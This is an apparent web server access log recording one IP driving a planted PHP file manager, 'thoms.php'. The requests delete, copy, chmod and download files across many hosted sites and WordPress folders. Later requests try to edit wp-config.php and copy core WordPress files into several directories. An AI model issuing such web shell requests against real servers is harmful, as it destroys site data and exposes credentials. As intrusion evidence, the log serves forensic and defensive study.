45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=mah-20260912023710.php HTTP/1.1" 200 11771 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?del=thoms-20260912023711.php&p= HTTP/1.1" 200 22614 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=betcity.com-20260912023741 HTTP/1.1" 200 17335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 20966 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?del=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 22636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 22636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 22578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?dl=error_log-20260912023633.&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?copy=broadweb.com-20260912023716&p= HTTP/1.1" 200 12416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 22648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?del=mah-20260912023710.php&p= HTTP/1.1" 200 22575 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 22653 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?copy=bfl.com-20260912023804&p= HTTP/1.1" 200 12424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?copy=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 12406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p=besth2o.com-20260912023731 HTTP/1.1" 200 17325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 22653 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?del=broadweb.com-20260912023716&p= HTTP/1.1" 200 22667 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20729 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p=bioway88.com-20260912023827 HTTP/1.1" 200 17336 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 22252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22673 "https://163.245.207.76/broadweb.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?copy=upgrade-20260912023806&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22639 "https://163.245.207.76/broadweb.com.tw/thoms.php?chmod=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22636 "https://163.245.207.76/broadweb.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22458 "https://163.245.207.76/broadweb.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 22659 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?dl=-20260912023718.htaccess&p= HTTP/1.1" 200 22628 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:23 -0400] "GET /broadweb.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 22408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?chmod=-20260912023718.htaccess&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?chmod=betcity.com-20260912023741&p= HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?del=bioway88.com-20260912023827&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=thoms-20260912023711.php HTTP/1.1" 200 11781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?chmod=mah-20260912023710.php&p= HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=-20260912023718.htaccess HTTP/1.1" 200 11945 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /thoms.php?edit=wp-config.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
